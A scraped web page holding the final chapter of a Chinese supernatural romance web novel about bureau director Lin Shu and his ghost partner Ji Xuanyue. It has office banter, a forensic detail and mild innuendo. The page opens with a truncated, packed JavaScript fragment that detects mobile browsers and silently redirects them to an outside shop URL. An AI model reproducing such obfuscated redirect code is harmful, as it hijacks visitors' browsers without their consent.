d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883443|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向，任由姬悬月骑车带着跑了。 ……总之两人的智商彻底回笼是在一个月后。 而顾煜城和林聆山高皇帝远已经跑得没影了。 恢复冷静睿智的林疏狠狠一拍桌子：“可恶啊！” 苗织凰在一旁讪讪道：“林局……人家错了嘛，您别生气，千万别生气。” “呵呵，苗、姨，”林疏皮笑肉不笑，“虽然做了七十多年同事，虽然我记得我比你先来灵调局，但毕竟您是我姨，您别这样，千万别，小的害怕。” 苗织凰哭着脸：“林局长，往事莫再提！谁让你那时候那么单纯可爱来着……” 林疏继续阴阳怪气：“所以你觉得林主任他们必败无疑呢，去投奔了未来的魔神大大呢，您多么高瞻远瞩目光深远，下次有这种好事带带小外甥我啊？” “……”苗织凰被挤兑得说不出话来。 林疏没好气地把成堆的文件往苗织凰脸上一扔：“三天之内不处理完这堆案子，你就自己去北爱尔兰跟顾局解释吧！” 苗织凰哭着走了。 林疏瘫软在椅子上。 累的不止是心灵，还有腰。 林聆和顾煜城走之前，效仿女娲之术，捏了个持续时间更长的泥人给姬悬月……是维持人形时间更长，不是那个持续时间更长，当然那个持续时间也很长……这都什么乱七八糟的，总之姬悬月最近有点过分了。 不过也没办法……一个十八岁的小男生，一个永远停在十八岁的小男生，林疏能怎么办呢？ 当然是选择原谅他。 而且有了正经人形的姬悬月简直是开启了美食世界的大门，这也要吃一点，那也要吃一点，林疏心想还好自己升官发财了，只要他勒紧裤腰带，局长的工资至少是够他们夫夫二人吃喝的，玩乐就别想了…… 所以唯一的娱乐方式就只剩下…… 林疏泪流满面，只想找个垃圾桶，把脑子里的废料倒一倒。 “局长！”小纪突然来敲门了。 林疏有气无力道：“进……” 小纪抱着一大包案卷跑进来：“树根底下挖了，挖出一具63岁的女性尸骨，尸体已经白骨化，这是照片。” “对，说到这个……”林疏马上掏出手机，调出那张照片，刚拿着想问，就看见小纪抱着的档案盒里一沓照片，最顶上的就是那个T字形塑料棒。 “这是什么？”林疏好奇道。 小纪神神秘秘地凑近他：“这是宫内节育器。” 林疏：“？” 小纪开始科普：“这玩意儿是女性用于避孕的，国内在1959年就开始使用了，宋玉的母亲孙玉华是1957年生人，结婚的时候1979年，正赶上计划生育啊，所以放置了宫内节育器。” 林疏恍然大悟：“这么歹毒！也就是说……如果我认得这玩意，或许在那条时间线里我就能确定那具尸骨的身份了……这玩意有编码吧？” 小纪点了点头。 林疏颓丧状，没有什么比事后诸葛亮更让人觉得沮丧了。 说起来……他们的功德恐怕还不应该排第一，只可惜那最深处的设局人已经随着天罚灰飞烟灭，林疏想给她上柱香，都找不到坟头。 ——以阳谋引林疏入局，大笑催促林疏焦急，让林疏暂停时间救人，姬悬月为保林疏，便会豁出身上的血孽。 而血孽与煞气抵消，自然会引得黄雀入局，至于黄雀穆绍棠，他如此谨慎和不要脸，只有碰到了比他还不要脸的温丽雅，才会狂暴，开启“吸收模式”。 才能不慎把横公鱼之眼吸入肺腑。 虽然林疏很怀疑这个设局人是玛丽亚，但又觉得玛丽亚好像没有这么了解他们，也没有这么聪明，毕竟一百年都被封印在画里—— 所以就不得不提起，还有一个被封印在画里的。 顾临。 林疏心想，不管这个顾临是顾家的顾临，还是外来的顾临，总之很感谢他，虽然也没办法感谢他。既然大家不是一个位面的人，那还是装作不知道的好。 处理完小纪抱来的一堆文件，林疏伸了个懒腰。现在伸懒腰的动作都得背着人……因为林疏生怕自己腰上星星点点的痕迹引人注目。 但他的确是有点疲惫了。 当初四煞千年柱及魔神之案牵扯到了好多人，也死了好多人。后续扫尾工作跨越了三个省一个国家，个中眼泪林疏都不想再回忆了，只想快点结案，好恢复以前清闲的日常。 如果下班后能有时间跟姬悬月去约会就再好不过了。 一边这样想着，林疏一边在旁边的软皮笔记本上随手写了一行字：冰淇淋蛋糕play已尝试。 冰火两重天什么的…… 倒是可以多试几次。 林疏抬头看了看表，他已经加班两小时了，今天又要晚些到家。 他叹口气，慢慢合上笔记本封皮，拎着走了。 行走间，笔记本封面上晃出随手涂鸦的一行标题： 《鬼新娘饲养指南》 ——end——